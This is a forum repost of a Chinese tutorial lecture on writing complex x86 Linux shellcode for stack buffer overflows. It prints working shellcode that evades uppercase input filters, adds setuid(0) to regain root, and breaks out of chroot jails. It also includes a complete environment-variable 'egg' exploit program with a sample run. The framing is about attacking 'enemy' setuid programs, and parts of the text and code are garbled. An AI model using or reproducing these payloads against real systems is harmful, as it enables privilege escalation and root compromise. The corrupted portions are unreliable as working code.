Board logo

标题: [转帖]堆栈溢出系列讲座(4) [打印本页]

作者: 青蛙    时间: 2007-1-8 20:24     标题: [转帖]堆栈溢出系列讲座(4)

堆栈溢出系列讲座(4)(转)  复杂的shellcode 前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这一讲, 我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。 复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔高一丈) 。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情况, 只是提供一些例子来阐明修改shellcode的技巧。 1:输入的溢出字符串被预处理 比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的攻击: ------------------------------------------------------------------------  。。。。。。  for(i=0;i=toupper(argv[1]);  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码  。。。。。。  strcpy(buffer,argv[1]); ------------------------------------------------------------------------ 显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系统是 大小写敏感的,因此execve系统调用不会成功。自然得不到shell。 怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把 /bin/sh的每一个字母都减去0x50,得到"\x2f\x12\x19\x1e\x2f\x23\x18",在shellcode 里面再把它们改回来。 另外,指令"\x89\x76\x08"/* movl %esi,0x8(%esi) */ 也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成: "movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)". 新的shellcode如下: char shellcode[]=  "\xeb\x38"/* jmp 0x38*/  "\x5e"/* popl %esi */  "\x80\x46\x01\x50"/* addb $0x50,0x1(%esi)*/  "\x80\x46\x02\x50"/* addb $0x50,0x2(%esi)*/  "\x80\x46\x03\x50"/* addb $0x50,0x3(%esi)*/  "\x80\x46\x05\x50"/* addb $0x50,0x5(%esi)*/  "\x80\x46\x06\x50"/* addb $0x50,0x6(%esi)*/  "\x89\xf0"/* movl %esi,%eax*/  "\x83\xc0\x08"/* addl $0x8,%eax*/  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  "\x31\xc0"/* xorl %eax,%eax*/  "\x88\x46\x07"/* movb %eax,0x7(%esi) */  "\x89\x46\x0c"/* movl %eax,0xc(%esi) */  "\xb0\x0b"/* movb $0xb,%al */  "\x89\xf3"/* movl %esi,%ebx*/  "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */  "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */  "\xcd\x80"/* int $0x80 */  "\x31\xdb"/* xorl %ebx,%ebx*/  "\x89\xd8"/* movl %ebx,%eax*/  "\x40"/* inc %eax*/  "\xcd\x80"/* int $0x80 */  "\xe8\xc3\xff\xff\xff"/* call -0x3d*/  "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */  /* /bin/sh is disguised*/ 好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些 不允许有某些字符集合的预处理检查。比如不允许!@#$%^;*的,等等。 2:对付seteuid(getuid()) 有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行 setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普通shell ? 当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可 能是这种情况。 但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到 rootshell。 我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验: (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x804ca00 <__setuid>: movl %ebx,%edx 0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx 0x804ca06 <__setuid+6>: movl $0x17,%eax 0x804ca0b <__setuid+11>:int$0x80 0x804ca0d <__setuid+13>:movl %edx,%ebx 0x804ca0f <__setuid+15>:cmpl $0xfffff001,%eax 0x804ca14 <__setuid+20>:jae0x804cc10 <__syscall_error> 0x804ca1a <__setuid+26>:ret 0x804ca1b <__setuid+27>:nop 0x804ca1c <__setuid+28>:nop 0x804ca1d <__setuid+29>:nop 0x804ca1e <__setuid+30>:nop 0x804ca1f <__setuid+31>:nop End of assembler dump. 我们可以用b/bx指令得到:setuid(0)的汇编代码: ------------------------------------------------------------------------ char code[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\x31\xdb"/* xorl %ebx,%ebx*/  "\xb0\x17"/* movb $0x17,%al*/  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ 把这段代码加到标准shellcode中jmp的前面就可以了。 (注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈操作, 就把string的返回地址冲掉了) new shellcode ------------------------------------------------------------------------ char shellcode[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\x31\xdb"/* xorl %ebx,%ebx*/  "\xb0\x17"/* movb $0x17,%al*/  "\xcd\x80"/* int $0x80 */  "\xeb\x1f"/* jmp 0x1f*/  "\x5e"/* popl %esi */  "\x89\x76\x08"/* movl %esi,0x8(%esi) */  "\x31\xc0"/* xorl %eax,%eax*/  "\x88\x46\x07"/* movb %eax,0x7(%esi) */  "\x89\x46\x0c"/* movl %eax,0xc(%esi) */  "\xb0\x0b"/* movb $0xb,%al */  "\x89\xf3"/* movl %esi,%ebx*/  "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */  "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */  "\xcd\x80"/* int $0x80 */  "\x31\xdb"/* xorl %ebx,%ebx*/  "\x89\xd8"/* movl %ebx,%eax*/  "\x40"/* inc %eax*/  "\xcd\x80"/* int $0x80 */  "\xe8\xdc\xff\xff\xff"/* call -0x24*/  "/bin/sh";/* .string \"/bin/sh\" */ ------------------------------------------------------------------------ 3:敌人把root的根目录给改掉了 有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。 结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然失败。 我们可以进行如下操作:以找回root的根目录\。 mkdir("sh"); chroot("sh"); chroot("../../../../../../../"); 它们的汇编代码为: mkdir("sh",0755); code ------------------------------------------------------------------------  /* mkdir first argument is %ebx and second argument is */  /* %ecx. */ char code[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\x31\xc9"/* xorl %ecx,%ecx*/  "\xb0\x27"/* movb $0x27,%al*/  "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */  /* %esi has to reference "/bin/sh" before using this */  /* instruction. This instruction load address of "sh"*/  /* and store at %ebx */  "\xfe\xc5"/* incb %ch*/  /* %cx = 0000 0001 0000 0000 */  "\xb0\x3d"/* movb $0xed,%cl*/  /* %cx = 0000 0001 1110 1101 */  /* %cx = 000 111 101 101 */  /* %cx = 0 7 5 5 */  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ chroot("sh"); code ------------------------------------------------------------------------  /* chroot first argument is ebx */ char code[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */  "\xb0\x3d"/* movb $0x3d,%al*/  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ chroot("../../../../../../../../../../../../../../../../"); code ------------------------------------------------------------------------ char code[]=  "\xbb\xd2\xd1\xd0\xff"/* movl $0xffd0d1d2,%ebx */  /* disguised "../" character string*/  "\xf7\xdb"/* negl %ebx */  /* %ebx = $0x002f2e2e*/  /* intel x86 is little endian. */  /* %ebx = "../"*/  "\x31\xc9"/* xorl %ecx,%ecx*/  "\xb1\x10"/* movb $0x10,%cl*/  /* prepare for looping 16 times. */  "\x56"/* pushl %esi*/  /* backup current %esi. %esi has the pointer of*/  /* "/bin/sh".*/  "\x01\xce"/* addl %ecx,%esi*/  "\x89\x1e"/* movl %ebx,(%esi)*/  "\x83\xc6\x03"/* addl $0x3,%esi*/  "\xe0\xf9"/* loopne -0x7 */  /* make "../../../../ . . . " character string at*/  /* 0x10(%esi) by looping.*/  "\x5e"/* popl %esi */  /* restore %esi. */  "\xb0\x3d"/* movb $0x3d,%al*/  "\x8d\x5e\x10"/* leal 0x10(%esi),%ebx*/  /* %ebx has the address of "../../../../ . . . ".*/  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ 我们把这些代码加进去: new shellcode ------------------------------------------------------------------------ char shellcode[]=  "\xeb\x4f"/* jmp 0x4f*/  "\x31\xc0"/* xorl %eax,%eax*/  "\x31\xc9"/* xorl %ecx,%ecx*/  "\x5e"/* popl %esi */  "\x88\x46\x07"/* movb %al,0x7(%esi)*/  "\xb0\x27"/* movb $0x27,%al*/  "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */  "\xfe\xc5"/* incb %ch*/  "\xb1\xed"/* movb $0xed,%cl*/  "\xcd\x80"/* int $0x80 */  "\x31\xc0"/* xorl %eax,%eax*/  "\x8d\x5e\x05"/* leal 0x5(%esi),%ebx */  "\xb0\x3d"/* movb $0x3d,%al*/  "\xcd\x80"/* int $0x80 */  "\x31\xc0"/* xorl %eax,%eax*/  "\xbb\xd2\xd1\xd0\xff"/* movl $0xffd0d1d2,%ebx */  "\xf7\xdb"/* negl %ebx */  "\x31\xc9"/* xorl %ecx,%ecx*/  "\xb1\x10"/* movb $0x10,%cl*/  "\x56"/* pushl %esi*/  "\x01\xce"/* addl %ecx,%esi*/  "\x89\x1e"/* movl %ebx,(%esi)*/  "\x83\xc6\x03"/* addl %0x3,%esi*/  "\xe0\xf9"/* loopne -0x7 */  "\x5e"/* popl %esi */  "\xb0\x3d"/* movb $0x3d,%al*/  "\x8d\x5e\x10"/* leal 0x10(%esi),%ebx*/  "\xcd\x80"/* int $0x80 */  "\x31\xc0"/* xorl %eax,%eax*/  "\x89\x76\x08"/* movl %esi,0x8(%esi) */  "\x89\x46\x0c"/* movl %eax,0xc(%esi) */  "\xb0\x0b"/* movb $0xb,%al */  "\x89\xf3"/* movl %esi,%ebx*/  "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */  "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */  "\xcd\x80"/* int $0x80 */  "\xe8\xac\xff\xff\xff"/* call -0x54*/  "/bin/sh";/* .string \"/bin/sh\" */ ------------------------------------------------------------------------ 4:敌人的buffer数组开的太小 如果敌人的strcpy(buffer,ourstring)中的buffer离 颜 顶过于接近,比如,只有12个 字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳下 shellcode的,结果会导致如下情况: 内存底部 内存顶部 buffer EBP ret <------ [SSS...S][S ][S ]S..SAAAAAAAAAAA  ^;buffer 栈顶部 堆栈底部 看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的shellcode 太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。这样, 函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到月球上 了。。。 为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于buffer长度 的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里面。 这两个变量分别为: $RET = AAAAAAAAAAAAAAAAAAAAA $EGG = NNNNNNNNNNNSSSSSSSSSS 把变量RET的内容作为参数传给被测试的程序。 这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父shell 的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运行时 ,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示: 颜欢? 堆 栈底  <参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量> 这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆栈就 会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大。 overflow.c ------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset= atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) {  printf("Can';t allocate memory.\n");  exit(0); } if (!(egg = malloc(eggsize))) {  printf("Can';t allocate memory.\n");  exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4)  *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)  *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++)  *(ptr++) = shellcode; buff[bsize - 1] = ';\0';; egg[eggsize - 1] = ';\0';;  //现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS  //buff里面的内容为AAAAAAAAAAAAAAAAAAA,  //我们猜测的egg环境变量的开始地址。 memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff);  //使用 putenv 来设置EGG,RET这两个环境变量。 system("/bin/bash");  //这个bash继承了两个环境变量。 } ------------------------------------------------------------------------ 好了,来试一试: ------------------------------------------------------------------------ [nkl10]$ ./overflow 768 Using address: 0xbffffdb0 [nkl10]$ ./overflow $RET $ ------------------------------------------------------------------------




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2